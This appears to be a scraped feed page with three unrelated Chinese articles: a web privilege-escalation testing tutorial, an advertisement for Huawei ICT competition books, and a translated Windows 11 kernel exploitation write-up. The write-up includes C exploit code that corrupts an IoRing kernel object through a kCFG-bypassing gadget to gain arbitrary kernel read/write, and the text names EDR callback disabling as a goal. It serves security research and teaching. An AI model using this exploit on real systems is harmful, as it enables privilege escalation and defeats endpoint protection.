普通视图

发现新文章,点击刷新页面。
今天 — 2025年1月17日首页

垂直越权,你只会替换 COOKIE ?

2025年1月16日 20:35

阿杰谈技术 2025-01-16 20:35 江苏


在 Web 安全领域,越权访问漏洞主要分为垂直越权和水平越权两种类型。本文将着重探讨垂直越权测试的思路与方法 。

早期在学习小迪的相关视频时,我了解到一种垂直越权的测试方式:通过替换高权限账号与低权限账号的 cookie,来尝试实现越权访问。这种方法在特定场景下有一定的可行性。

然而,在实际工作环境中,这种基于 cookie 替换的测试面临诸多挑战。一方面,测试人员往往很难获取到足够的测试账号,有时甚至仅能得到一个管理员账号。

若要通过添加用户功能来配置一个低权限小号用于测试越权,整个流程不仅繁琐,而且耗费精力,使得 cookie 替换的操作变得极为不便。

另一方面,即便系统允许用户自行注册,但注册用户所能使用的功能通常极为有限,在这种情况下,传统的 cookie 替换方式难以发挥作用。

那么,面对这些实际问题,我们该如何有效地进行垂直越权测试呢?

接下来,本文将围绕垂直越权的多种实用思路展开深入分析。

如何挖掘垂直越权呢

个人观点有两大种,四小种。

基于用户角色的测试思路

具体来说,就是将低权限账号的 cookie 替换后,用于访问原本仅限高权限账号使用的接口。

/api/system/user/list接口为例,该接口的作用是列举用户列表。在正常的权限设定下,这类接口只有管理员才有访问权限。普通用户登录系统后,由于系统权限控制,其操作界面不会出现用户管理相关功能入口,也就无法直接访问用户列表接口。

在进行越权测试时,我们把普通账号的 cookie 进行替换,然后用替换后的 cookie 去访问/api/system/user/list接口,并发送请求数据包。若此时能够成功查询到用户列表数据,那就表明系统存在垂直越权漏洞,即低权限用户可通过不正当手段访问到高权限用户才能访问的资源。

基于功能接口测试思路

在进行系统安全测试时,有一个重要的环节是针对接口的越权测试。具体操作流程是,在登录系统前后,分别提取相应的接口信息,并将这些接口汇总起来进行统一测试。

实际测试中,若面临没有测试账号的情况,主动向相关负责人申请账号是必要的途径,毕竟不主动申请,账号不会自动提供。

要是系统允许用户自行注册,且注册流程无需经过审核,注册完成即可直接登录,那么注册后就可以着手提取接口。

提取接口数据后,借助 Burp Suite 等专业工具对这些接口进行遍历测试。在遍历过程中,重点关注接口返回的内容,将其与登录后正常访问所获取的数据进行对比。

在遍历测试之前,建议先全面浏览后台的各个功能点,查看其中是否存在数据,以及这些数据是否涉及敏感信息。这样做的好处在于,当工具遍历跑出来数据后,能够更高效地判断,而无需对每一条数据都进行逐一细致对比,便能快速确定是否是由于越权问题导致的数据异常情况,从而大大提升测试效率和准确性。

基于 web 页面的越权

还有一种方式,也是基于接口,但是是针对 web 页面的越权,属于功能接口的分支。

比如登录后的 url 为

http://www.test.com/demo/#/home

http://www.test.com/demo/home

这两种,第一种大多数是vue框架

在进行系统安全测试时,我们首先利用熊猫头工具来获取接口信息。获取到接口信息后,有多种方式进行后续的访问遍历测试。一方面,可以通过编写 Python 脚本对获取的接口进行拼接访问;另一方面,也可以借助 Burp Suite 工具来完成接口的拼接访问操作。

例如,我们可能会将基础网址http://www.test.com/demo/#/与不同的功能路径,如mainsystemlist等进行拼接,形成类似http://www.test.com/demo/#/main 、http://www.test.com/demo/#/system 、http://www.test.com/demo/#/list这样的访问链接。通过这种拼接访问的方式,运气好的话,有可能直接访问到原本受限的其他功能页面。

不过需要注意的是,并非所有基于 Vue 框架开发的系统都会存在此类越权访问漏洞。

系统是否存在漏洞,关键取决于业务系统权限的设置方式。

在实际情况中,可能出现多种结果:整个系统可能一个越权漏洞都不存在;也有可能在众多接口中,仅有一两个存在越权情况;甚至存在所有接口都存在越权漏洞的可能性。

另外,在访问过程中,还可能会遇到这样的现象:访问后虽然能打开新的页面,但在点击页面功能进行抓包时,发现返回的是错误信息(如 error 提示)或者 403 禁止访问状态码等。

这些情况在测试过程中都是较为常见的。所以,最终能否发现越权漏洞,在一定程度上存在不确定性 。


另一种情况是针对非 Vue 框架的系统。在这种情况下,可采用直接拼接路径的方法,如http://www.test.com/demo/homehttp://www.test.com/demo/listhttp://www.test.com/demo/system等。这些路径的收集工作同样借助熊猫头工具来完成,收集之后再按照前面提到的利用 Python 脚本或 Burp Suite 等方式进行后续的测试操作,以检测是否存在潜在的安全漏洞或越权访问等问题。

下面就看一下实际案例:

这是我注册的账号,发现就这几个点


然后就获取接口,然后发现我自己可以获取到人员机构,并且能够添加成员,赋予登录权限后,就直接登录进来了


下面这个也是注册用户进来的


基本上就五个功能点,然后通过熊猫头提取接口


直接拼接

就发现了很多敏感信息。

基于目录扫描的越权

在安全测试中,还有一种测试思路值得关注。最后一种是在登录系统之后,通过配置 cookie 的方式,对网站进行全面的目录扫描。在此过程中,可使用预先准备好的字典进行匹配,以发现一些潜在的安全隐患。

例如,在进行目录扫描时,可能会发现一些敏感页面,如passwd.html页面。当打开该页面后,可能会出现严重的安全问题,比如无需额外验证就能修改管理员账号密码,这种情况会给系统带来极大的安全风险。

另外,还有一种相对较少见的情况。

有些网站在访问登录地址时,会先跳转到后台页面,然后再跳转至登录页面。

针对这种情况,我们可以持续进行抓包操作,等待浏览器完全到达后台页面。在该页面上点击不同的功能点,并适时放包,直到 Burp 工具中出现相关的接口信息。然后,利用这些接口信息开展测试工作。

在实际测试过程中,我仅遇到过一次这样的情况,在这个案例中,该网站可以进行文件上传、信息查询等操作。

不过,从严格意义上讲,这种情况更倾向于属于未授权访问的范畴,其涉及的安全问题需要我们引起足够的重视,因为它会使未登录用户获取到本不应有的权限,可能导致信息泄露、数据篡改等一系列严重后果。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款


往期回顾

一款bp神器

ssrf绕过新思路

一个辅助测试ssrf的工具


dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

阅读原文

跳转微信打开

备考宝典来啦!华为ICT大赛实践赛真题解析丛书出版

2025年1月16日 20:35

2025-01-16 20:35 江苏

第九届华为ICT大赛实践赛报名人数再创新高,中国区报名人数突破13万人。已报名实践赛的同学,接下来就要进入比赛环节了,这里已准备好一套备考宝典给你——华为ICT大赛实践赛真题解析丛书

丛书能帮助你把握命题思路、突破重点内容、检验学习效果、提高实战经验,更充分地备战大赛!

点击下方,即可购书


本套系列真题解析丛书由华为ICT大赛组委会编写,共四册,涵盖第八届华为ICT大赛实践赛网络、计算(第九届华为ICT大赛更名为基础软件)、云、昇腾AI等四个赛道的真题及解析,是华为官方出版的唯一大赛教程。

丛书内容全面,由浅入深,从基础概念讲起,逐步分析中国区全国初赛-全国总决赛-全球总决赛真题;按照模块化设计模式,根据各技术细分方向分解每章知识点,能帮助你系统掌握知识和实践技能;针对重难点问题,对知识理解的思维卡点、难点抽丝剥茧,进行系统、专业性讲解,助你系统、高效学习。 

《华为ICT大赛实践赛网络赛道真题解析

点击下方,即可购书



本书针对华为ICT大赛 2023—2024 省赛初赛、省赛复赛、全国总决赛、全球总决赛真题进行了详细分析,覆盖以下考核知识点:

数通模块:数通基础知识,交换技术,路由技术,以及 IPv6、广域网、MLPS、VPN、组播、SDN、网络管理与监控等。

网络安全模块:信息安全,安全通信,攻击与防御,云安全,安全运维。


WLAN 模块:WLAN 工作原理与组网架构,WLAN 安全、高级特性,网络规划与运维,CloudCampus 解决方案。

精彩书摘

通过详细的题目解读,本书能让你快速掌握考官的命题思路,熟悉比赛的题型和难度,学习数通、网络安全、WLAN相关知识,相信一定能为你助一臂之力。

《华为ICT大赛实践赛云赛道真题解析》

点击下方,即可购书



本书对华为ICT大赛2023—2024实践赛云赛道省赛初赛、省赛复赛、全国总决赛、全球总决赛的真题进行详细分析,覆盖以下考核知识点:

云:云计算,公有云服务操作,云原生基础服务,云原生应用构建。

大数据:华为大数据平台 MRS,大数据场景化解决方案,数据湖,数据治理,特征工程,有监督/无监督学习,模型评估与优化。

AI:基础概念,计算机视觉、NLP、ASR 等应用开发,智能驾驶、量子机器学习、强化学习、知识图谱等,机器学习,深度学习,华为云AI 全栈全场景整体应用,MindSpore 开发框架。


精彩书摘

为了在数万人中崭露头角,同学们可以尽早学习起来了!在学习过程中,为充分发挥真题的作用,建议同学们先将真题做一遍,再参考解析答案,温故而知新。

《华为ICT大赛实践赛计算赛道真题解析》

点击下方,即可购书



华为ICT大赛2023-2024计算赛道分为“省赛初赛-省赛复赛-全国总决赛-全球总决赛”四个阶段,赛题包含 openEuler、openGauss、Kunpeng Application Development 三个方向。针对赛事各阶段真题,本书进行了详细分析,覆盖以下考核知识点:

openEuler:企业服务管理配置、集群软件配置、共享存储配置、自动化管理、虚拟化与容器等关键特性,还有社区生态。

openGauss:基本概念与体系结构,安装部署,数据库管理,存储引擎,SQL 引擎,数据库开发,存储过程与触发器,安全管理、性能调优,高阶特性。

Kunpeng Application Development:基础知识,软件迁移,编译器,性能分析与调优,大数据与虚拟化解决方案,社区生态。

精彩书摘

本书能反映出考官的出题方向和命题风格,帮助你明确复习重点、提高应对能力,而且考点与第九届华为ICT大赛基础软件赛道考点高度吻合,如此有针对性的比赛宝典,是你在比赛中闯关升级的必备工具书。

《华为ICT大赛实践赛昇腾AI赛道真题解析》

点击下方,即可购书



本书真题覆盖的考点主要有:AI 算法与应用、MindSpore 开发框架实践、昇腾全栈 AI 平台、昇腾 AI 应用实战

详细内容为:

AI 算法与应用:AI 基础概念,CV、NLP、ASR 等技术领域,图像、文本、音频等数据的处理方式,深度学习基础算法,前沿技术场景等。

MindSpore 开发框架实践:基于 MindSpore 的数据处理常用操作,运行环境配置,数据操作,网络构建,MindSpore 开发组件,大模型,进阶使用。

昇腾全栈 AI 平台:昇腾 AI 处理器,达芬奇架构,Atlas 系列硬件,异构计算架构 CANN。

昇腾 AI 应用实战:计算机视觉、自然语言处理

精彩书摘

通过详细的题目解读,本书能让你掌握昇腾AI相关知识,知其然更知其所以然,不仅能为你备赛昇腾AI赛道提供帮助,对你备考相关认证也有参考价值。

结语

参加 ICT 大赛并不仅仅是为了获得奖项,更重要的是以赛促学,提升实践能力。本套丛书不仅提供了解题方法,还能帮助同学们持续提升技术应用能力和应变能力,可谓一举多得。

现在丛书已正式出版,希望它能为你的参赛之路助一臂之力,托举你一路披荆斩棘,勇往直前。明年5月,让我们在全球总决赛赛场顶峰相见!

购买渠道如下:

1. 团购(50册以上),优先保障发货,请联系人民邮电出版社栾经理 18500485066 (微信同号)

2. 个人购买,点击下方链接进行购买



说说如何备考华为ICT大赛?

在留言区参与互动,并点击在看和转发活动到朋友圈,我们将选1名读者获得赠书1本

阅读原文

跳转微信打开

从任意指针解引用到最新 Windows 11 中的任意读写漏洞利用

2025年1月16日 18:47

MrAle_98 2025-01-16 18:47 日本

From arbitrary pointer dereference to arbitrary readwrite in latest Windows 11


在这个 Windows 内核漏洞利用 系列上一部分中,我们成功利用了一个任意指针解引用漏洞,绕过了 SMEP 和 KVA Shadowing,最终获得了内核模式下的任意代码执行能力。

在本文中,我们将简要介绍 VBS、HVCI 和 kCFG 是什么,并修改我们原始的漏洞利用代码,使其能够将任意指针解引用转变为任意读写原语。这反过来允许我们执行基于数据的攻击,例如提升令牌权限交换令牌地址禁用 EDR 内核回调设置/取消设置任意进程的 PPL 特性等多种可能性。

注意:我在 Windows 11 24h2 发布之前就开始写这篇文章了。Windows 11 24h2 移除了几个内核地址泄露漏洞 (如果你有 SeDebugPrivilege 权限,即如果你是管理员,这些漏洞仍然可用),这些漏洞在本文中被利用。

配置环境

如果你想跟着操作,你应该按照以下说明在 VMware 上创建一个启用了 VBS 的 Windows 11 虚拟机。首先,在主机的_设置_中找到_核心隔离_并禁用_内存完整性_。之后,在 VMware 中进入_虚拟机设置 > 选项 > 高级_菜单并勾选_启用 VBS 支持_。

在 VMWare 中启用 VBS 支持

注意这也会启用_安全启动_。如果启用了安全启动,你将无法进行内核调试。要在保持 VBS 启用的同时禁用它,请导航到虚拟机的文件夹并在文本编辑器中打开 .vmx 文件。将属性 uefi.secureBoot.enabled 更改为 FALSE

禁用安全启动

现在,运行你的虚拟机,在其中打开_设置_,导航到_核心隔离_并将_内存完整性_设置为启用

在虚拟机中启用 HVCI

重启虚拟机。现在你的虚拟机应该已启用 HVCI 和 kCFG 但禁用了安全启动,允许你设置内核调试

VBS、HVCI 和 kCFG

让我们首先了解 VBS、HVCI 和 kCFG 是什么,以及它们对漏洞利用开发有什么影响。以下由 Connor McGarr 撰写的博客文章很好地阐明了这个主题:

基于虚拟化的安全性

基于虚拟化的安全性(VBS) 使用硬件虚拟化和 Windows 虚拟机监控程序来创建一个隔离的虚拟环境,该环境成为操作系统的信任根,假设内核可能被攻破。Windows 使用这个隔离环境来托管多个安全解决方案,如 HVCI 和 Credential Guard

其理念是 VBS 使用虚拟机监控程序创建两个虚拟信任级别 (VTLs),这些隔离环境类似于虚拟机 (但它们并不完全是虚拟机):

  • 虚拟信任级别 0 (VTL0):托管"常规内核"即 ntoskrnl.exe 的环境。这是用户交互的环境,所以这是用户模式程序执行的地方,包括我们的漏洞利用。

  • 虚拟信任级别 1 (VTL1):托管"安全内核"即 securekernel.exe 的环境。

虚拟信任级别。来源:Connor McGarr 的博客。

VTL1 是权限更高的环境,而 VTL0 是权限较低的环境。当系统启动并且两个环境都加载后,VTL1 可以通过调用虚拟机监控程序提供的"API"来配置 VTL0,发出hypercalls

VTL 虚拟机监控程序和 SLAT 之间的关系。来源:_Windows Internals 第 7 版_书籍。

二级地址转换

二级地址转换_或 SLAT 允许每个虚拟机在虚拟机监控程序看来都运行在自己的地址空间中。Intel 对 SLAT 的实现称为_扩展页表,或 EPT(参见这里)。

其理念是当虚拟机试图访问给定虚拟地址 VA 时,虚拟机使用自己的页表项集合或 PTE,将 VA 转换为称为_客户物理地址_或 GPA 的地址 (在下图中忽略访问 RAM 的最后一步)。

虚拟地址到物理地址的转换 (x64 架构)。来源:_Windows Internals 第 7 版_书籍。

GPA 仍然不是有效的物理地址。因此,虚拟机监控程序"拦截"对 GPA 的访问,并使用其自己特殊的 PTE 集合,称为**扩展页表项** EPTE,将 GPA **转换为_系统物理地址_**或 SPA。

SPA 是 RAM 中的最终物理地址

因此,当虚拟机监控程序运行时,物理内存页的真实状态是由 EPTE 而不是 PTE 描述的

HVCI

虚拟机监控程序保护的代码完整性(HVCI) 是 Windows 10、Windows 11 和 Windows Server 2016 及更高版本中提供的基于虚拟化的安全性 (VBS) 功能。

简而言之,它包括在 VTL1 中运行的 securekernel.exe,在启动时与虚拟机监控程序一起工作,以创建一组_EPTE_,这些 EPTE 描述了内存的_最终视图_,而 VTL0(ntoskrnl.exe) 中的操作系统维护其自己的内存视图。

基本上所有 EPTE都配置为所有页面要么是可读和可写的RW-,要么是可读和可执行的R-X,但永远不会是可写 - 可执行的-WX可读 - 可写 - 可执行的RWX

所以,假设攻击者执行以下操作:

  1. 在虚拟地址 VA 的内核内存页中存储 shellcode。

  2. 利用漏洞 (任意写入、任意指针解引用等),允许在虚拟地址 VA 对应的 PTE 中设置执行位

  3. 在虚拟地址 VA 触发 shellcode 执行。

漏洞利用将失败,因为 CPU 在高层次上执行以下操作:

  1. VA 转换为 GPA(客户物理地址),注意到PTE 设置了执行位(在上面步骤 2 中被攻击者篡改)。

  2. GPA 被传递给虚拟机监控程序,将其转换为 SPA,并注意到相应的EPTE 没有设置执行位

  3. 因此,执行被中止,漏洞利用失败。

EPTE 可以被认为是另一个虚拟内存到物理内存的映射,攻击者无法篡改。实际上 GPA 和 SPA 将具有相同的值,因为 HVCI 的目的只是确保攻击者无法在内核模式下执行任意 shellcode。

另一个处理 PTE 的漏洞利用是将用户模式页面的U/S位设置为S,或 Supervisor(这实际上是我们在之前的博客文章中所做的)。这样,当 CPU 在内核模式下运行 (CPL = 0) 时,它被允许执行页面中的 shellcode,绕过 SMEP。EPTE 没有U/S位,因此它们无法防止这种情况。

然而,Intel 引入了称为_基于模式的执行控制_或MBEC硬件解决方案来缓解这种攻击。总体思路是在 CPU 运行在内核模式时将EPTE中的所有用户模式页面设置为不可执行。Microsoft 引入了_受限用户模式_或RUM作为软件解决方案,以防硬件不支持 MBEC。

在这一点上,我希望我没有让你感到困惑。如果是这样,我建议你阅读 Connor 关于 HVCI 的整个博客文章。最终,正如 Connor 在他的博客文章中已经强调的那样,HVCI 对漏洞利用开发的影响如下:

  • 无法通过 PTE 操作来实现未签名代码执行

  • 内核中的任何未签名代码执行都是不可能的

所以,让我们思考一下我们的任意指针解引用。我们不能再构造一个篡改 PTE 的 ROP 链,因为在 HVCI 下这将是无用的。

然而,我们仍然可以使用完整的内核 API 集。例如,我们可以构造一个 ROP 链来覆写线程的**_KTHREAD.PreviousMode字段,以获得内核中的任意读写原语**(在OST2 – Exp4011课程中有很好的解释,由Cedric Halbronn讲授)。

问题是由于内核控制流保护 (kCFG)我们不能 (以这种方式) 构造 ROP 链

kCFG

简而言之,每当有间接函数调用时,就像我们的情况一样,函数调用都会通过nt!_guard_dispatch_icall例程。该例程执行以下操作:

  1. 检查目标函数是否有效。

  2. 如果有效,它跳转到目标函数。

  3. 如果无效,内核停止执行并出现蓝屏。

对于 kCFG,每个对应于函数开始的地址都被认为是有效目标

还值得注意的是,kCFG 只在启用 HVCI 时才启用。kCFG 使用位图来验证目标。该位图是只读的,这由HVCI强制执行。

当未启用 HVCI 时,间接函数调用仍然通过nt!_guard_dispatch_icall例程。然而,该例程只是检查地址是否位于用户空间(从00x000007FFFFFEFFFF) 或内核空间 (从0x00000800000000000xFFFFFFFFFFFFFFFF)。如果地址位于用户空间,它会停止执行并触发蓝屏。

事实上,如果你还记得这个系列的第 2 部分,当我们试图将执行劫持到地址 0xdeadbeef 时,我们得到了蓝屏。那是_禁用 HVCI 的 kCFG_。如果你想更详细地了解 CFG,我建议你从以下博客文章开始,这篇文章同样由 Connor McGarr 撰写。

所以,启用 HVCI 的 kCFG的影响是我们不能将执行劫持到 ntoskrnl.exe 中的任意地址,这阻止我们构造任意 ROP 链。然而,我们仍然可以将执行劫持到 ntoskrnl.exe 中任何函数的开始处

构造我们的新漏洞利用

现在我们已经了解了 Microsoft 启用的新安全缓解措施的影响,我们可以开始思考如何修改我们的漏洞利用以实现 LPE。

"放宽"约束

在之前的漏洞利用中,我没有使用任何函数,如_EnumDeviceDrivers()NtQuerySystemInformation()_来泄露内核地址。在这种情况下,我们将使用_NtQuerySystemInformation()_来获得启用了 kCFG/HVCI 的 LPE。

注意:从 Windows 11 24h2 开始,EnumDeviceDrivers() 和 NtQuerySystemInformation() 需要SeDebugPrivilege才能获取内核地址。这意味着在最新的 Windows 11 版本上你必须是管理员才能使用它们。当然,这已经是BYOVD 攻击场景的要求。

绕过 kCFG

起点总是寻找已经处理过这种场景的研究人员的研究论文/博客文章。过了一会儿,我找到了一篇非常好的博客文章,作者是@tykawaii98@void_sec。漏洞类型同样是任意指针解引用,允许劫持执行流

绕过 kCFG 的思路基本上是找到一个函数,它允许我们基于当我们到达间接函数调用时控制的寄存器执行基于数据的攻击

回想一下这个系列第 2 部分的结尾:_"在这一点上,我们知道我们可以将执行重定向到任意地址,并且我们控制寄存器RBXRCXRDI"。_所以,我们在间接调用时控制RBX、RCX 和 RDI

博客文章的作者发现了nt!DbgkpTriageDumpRestoreState()

nt!DbgkpTriageDumpRestoreState 的反汇编

简而言之,这个函数做的有趣的事情如下:

  1. [RCX]的值移动到RDX

  2. [RCX+0x10]的 4 字节值移动到EAX

  3. EAX(其中EAX=[RCX+0x10]) 存储在[RDX+0x2078](其中RDX=[RCX])

  4. [RCX+0x14]的 4 字节值移动到EAX

  5. EAX(其中EAX=[RCX+0x14]) 存储在[RDX+0x207c](其中RDX=[RCX])

换句话说,我们可以将[RCX+0x10]处的8 字节值写入[RDX+0x2078]处的地址,其中RDX[RCX]。所以我们通过控制 RCX就有了任意 8 字节写入。由于我们控制 RCX,这个函数非常适合我们的目的。

获得任意读写

在 Crowdfense 的同一篇文章中,作者展示了使用这个小工具的两种方法:

  1. 设置线程的_KTHREAD.PreviousMode字段以获得内核空间内存的任意读写

  2. 覆写当前进程令牌的_TOKEN.Privileges.Present字段,为我们自己添加所有权限 (基本上与我们在第 3 部分中用 shellcode 做的相同)。

另一方面,我决定使用I/O Ring 技术来获得内核空间中的任意读写原语。为什么?主要是因为:

  1. 看起来 Microsoft 即将缓解_KTHREAD.PreviousMode技术 (这在这个演示和这个帖子中都有提到,不过看起来还需要一段时间)。

  2. 覆写_TOKEN.Privileges.Present只允许我们提升权限。我们不能禁用 EDR 回调或取消设置/设置进程的 PPL 属性,而这两种攻击都可以通过任意读写实现。

  3. 只是想玩玩 I/O Ring。

I/O Ring 技术是由Yarden Shafir发现和记录的,后来也被Ruben Boonen描述

一些代码片段是从Yarden 的仓库中直接复制/粘贴的。

在高层次上,思路如下:

  1. 使用CreateIoRing() API 分配一个 IoRing(内核中的_IORING_OBJECT结构)。

  2. 调用BuildIoRingRegisterBuffers(),以便初始化_IORING_OBJECT.RegBuffers 和_IORING_OBJECT.RegBuffersCount。

  3. 利用我们的任意指针解引用来覆写_IORING_OBJECT.RegBuffers。

  4. 调用**BuildIoRingReadFile()写入任意内核地址**,调用BuildIoRingWriteFile()从任意内核地址读取

所以,让我们开始修改漏洞利用。

在调用我们的_arbitraryCallDriver()_之前,我们放置一个对名为_prepare()_的例程的调用,该例程执行以下操作:

  1. 创建_IORING_OBJECT(调用_CreateIoRing())_并将返回的指向用户模式对象的指针保存在puioring中。

  2. 使用BuildIoRingRegisterBuffers()和_SubmitIoRing()_将_IORING_OBJECT.RegBuffers 设置为一个虚拟数组,将_IORING_OBJECT.RegBuffersCount 设置为1(我们每次执行任何操作都必须调用 SubmitIoRing())。

  3. 调用_GetKAddrFromHandle()_从句柄获取 IoRing 对象的内核地址并将结果保存在ioringaddress中。_GetKAddrFromHandle()是我们创建的另一个例程,内部调用NtQuerySystemInformation()_来获取内核地址。

  4. 分配一个包含 1 个指向_IOP_MC_BUFFER_ENTRY的指针的数组,命名为fake_buffers。我们将利用漏洞将_IORING_OBJECT.RegBuffers覆写为fake_buffers

  5. 实例化所有将用于利用任意读写的命名管道。

[...]    #define REGBUFFERCOUNT 0x1    [...]    HANDLE g_device;    PUIORING puioring = NULL;    PVOID ioringaddress = NULL;    HIORING handle = NULL;    PIOP_MC_BUFFER_ENTRY* fake_buffers = NULL;    UINT_PTR userData = 0x41414141;    ULONG numberOfFakeBuffers = 100;    PVOID addressForFakeBuffers = NULL;    HANDLE inputPipe = INVALID_HANDLE_VALUE;    HANDLE outputPipe = INVALID_HANDLE_VALUE;    HANDLE inputClientPipe = INVALID_HANDLE_VALUE;    HANDLE outputClientPipe = INVALID_HANDLE_VALUE;    IORING_BUFFER_INFO preregBuffers[REGBUFFERCOUNT] = { 0 };    [...]    PVOID    AllocateFakeBuffersArray(        _In_ ULONG NumberOfFakeBuffers    )    {        ULONG size;        PVOID* fakeBuffers;                    //        // This will be an array of pointers to IOP_MC_BUFFER_ENTRYs        //                fakeBuffers = (PVOID*)VirtualAlloc(NULL, NumberOfFakeBuffers * sizeof(PVOID), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);        if (fakeBuffers == NULL)        {            printf("[-] Failed to allocate fake buffers array\n");            return NULL;        }        if (!VirtualLock(fakeBuffers, NumberOfFakeBuffers * sizeof(PVOID)))        {            printf("[-] Failed to lock fake buffers array\n");            return NULL;        }        memset(fakeBuffers, 0, NumberOfFakeBuffers * sizeof(PVOID));        for (int i = 0; i < NumberOfFakeBuffers; i++)        {            fakeBuffers[i] = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);            if (fakeBuffers[i] == NULL)            {                printf("[-] Failed to allocate fake buffer\n");                return NULL;            }            if (!VirtualLock(fakeBuffers[i], sizeof(IOP_MC_BUFFER_ENTRY)))            {                printf("[-] Failed to lock fake buffer\n");                return NULL;            }            memset(fakeBuffers[i], 0x41, sizeof(IOP_MC_BUFFER_ENTRY));        }                printf("[*] fakeBuffers = 0x%p\n", fakeBuffers);        for (int i = 0; i < NumberOfFakeBuffers; i++) {            printf("[*] fakeBuffers[%d] = 0x%p\n", i, fakeBuffers[i]);        }            return fakeBuffers;    }        BOOL prepare() {        HRESULT result;        IORING_CREATE_FLAGS flags;            flags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;        flags.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE;                result = CreateIoRing(IORING_VERSION_3, flags, 0x10000, 0x20000, (HIORING*)&handle);        if (!SUCCEEDED(result))        {            printf("[-] Failed creating IO ring handle: 0x%x\n", result);            return FALSE;        }        puioring = (PUIORING)handle;        printf("[+] Created IoRing. handle=0x%p\n", puioring);        //pre-register buffer array with len=1        preregBuffers[0].Address = VirtualAlloc(NULL, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);        if (!preregBuffers[0].Address)        {            printf("[-] Failed to allocate prereg buffer\n");            return FALSE;        }        memset(preregBuffers[0].Address, 0x41, 0x100);        preregBuffers[0].Length = 0x100;        result = BuildIoRingRegisterBuffers(handle, REGBUFFERCOUNT, preregBuffers, 0);        if (!SUCCEEDED(result))        {            printf("[-] Failed BuildIoRingRegisterBuffers: 0x%x\n", result);            return FALSE;        }        UINT32 submitted = 0;        result = SubmitIoRing(handle, 1, INFINITE, &submitted);        if (!SUCCEEDED(result)) {            printf("[-] Failed SubmitIoRing: 0x%x\n", result);            return FALSE;        }        printf("[*] submitted = 0x%d\n", submitted);        ioringaddress = GetKAddrFromHandle(puioring->handle);        printf("[*] ioringaddress = 0x%p\n", ioringaddress);                fake_buffers = (PIOP_MC_BUFFER_ENTRY*)AllocateFakeBuffersArray(            REGBUFFERCOUNT            );        if (fake_buffers == NULL)        {            printf("[-] Failed to allocate fake buffers\n");            return FALSE;        }            //        // Create named pipes for the input/output of the I/O operations        // and open client handles for them        //        inputPipe = CreateNamedPipe(INPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);        if (inputPipe == INVALID_HANDLE_VALUE)        {            printf("[-] Failed to create input pipe: 0x%x\n", GetLastError());            return FALSE;        }        outputPipe = CreateNamedPipe(OUTPUT_PIPE_NAME, PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);        if (outputPipe == INVALID_HANDLE_VALUE)        {            printf("[-] Failed to create output pipe: 0x%x\n", GetLastError());            return FALSE;        }            outputClientPipe = CreateFile(OUTPUT_PIPE_NAME,            GENERIC_READ | GENERIC_WRITE,            FILE_SHARE_READ | FILE_SHARE_WRITE,            NULL,            OPEN_ALWAYS,            FILE_ATTRIBUTE_NORMAL,            NULL);            if (outputClientPipe == INVALID_HANDLE_VALUE)        {            printf("[-] Failed to open handle to output file: 0x%x\n", GetLastError());            return FALSE;        }            inputClientPipe = CreateFile(INPUT_PIPE_NAME,            GENERIC_READ | GENERIC_WRITE,            FILE_SHARE_READ | FILE_SHARE_WRITE,            NULL,            OPEN_ALWAYS,            FILE_ATTRIBUTE_NORMAL,            NULL);            if (inputClientPipe == INVALID_HANDLE_VALUE)        {            printf("[-] Failed to open handle to input pipe: 0x%x\n", GetLastError());            return FALSE;        }            return TRUE;    }    [...]    int main()    {    [...]        if (!prepare())            return -1;            arbitraryCallDriver(outputBuffer, SIZE_BUF);        printf("[+] arbitraryCallDriver returned successfully.\n");    [...]    }

现在,让我们修改 arbitraryCallDriver() 函数。回想一下在第二部分的结尾中,在执行jmp rax指令时,我们控制着 RCX 寄存器RCX 对应于 object2+0x30,也就是ptr->AttachedDevice

首先,我们需要修改代码,使我们能够劫持执行流程到 nt!DbgkpTriageDumpRestoreState,这个调用小工具对于绕过 kCFG 很有用。

[...]        * ((PDWORD64)pDriverFunction) = g_ntbase + 0x7f06a0;   //address of DbgkpTriageDumpRestoreState[...]

接下来,我们需要设置fake_buffers,也就是我们想要写入的值,写入到ptr->AttachedDevice+0x10的位置 (记住rcx = ptr->attachedDevice),即ptr->AttachedDevice->NextDevice(回想一下ptr->AttachedDevice指向一个_DEVICE_OBJECT结构体)。

[...]        //ptr->AttachedDevice corresponds to rcx when we hijack execution to DbgkpTriageDumpRestoreState        ptr->AttachedDevice->NextDevice = (_DEVICE_OBJECT*)fake_buffers;  //value of arbitrary write. address of fakeBuffers[...]

然后我们必须设置 RDX,使得rdx+0x2078指向我们想要写入的内核地址,也就是 _IORING_OBJECT.RegBuffers。

[...]        //offset 0x0 (AttachedDevice->Type,Size,ReferenceCount) we store the address that is stored in rdx by DbgkpTriageDumpRestoreState        PDWORD64 prdx_val = (PDWORD64)ptr->AttachedDevice;        *prdx_val = (DWORD64)ioringaddress + 0xb8 - 0x2078; //address of RegBuffers in ioring kernel structure        printf("[*] prdx_val = 0x%p\n", prdx_val);[...]

最后,在调用 DeviceIoControl() 之后,我们必须更新用户态 IoRing 结构体,使其与对应的内核态 _IORING_OBJECT 结构体匹配。

[...]        BOOL res = DeviceIoControl(            g_device,            IOCTL_ARBITRARYCALLDRIVER,            inputBuffer,            SIZE_BUF,            outputBuffer,            outSize,            &bytesRet,            NULL        );            printf("[*] sent IOCTL_ARBITRARYCALLDRIVER \n");        if (!res) {            printf("[-] DeviceIoControl failed with error: %d\n"GetLastError());        }            //update regBuffer address and size in usermode ioring        puioring->RegBufferArray = fake_buffers;        puioring->BufferArraySize = REGBUFFERCOUNT;[...]

现在,让我们在触发漏洞前后分别放置一个 getchar() 调用,然后运行这个漏洞利用程序。

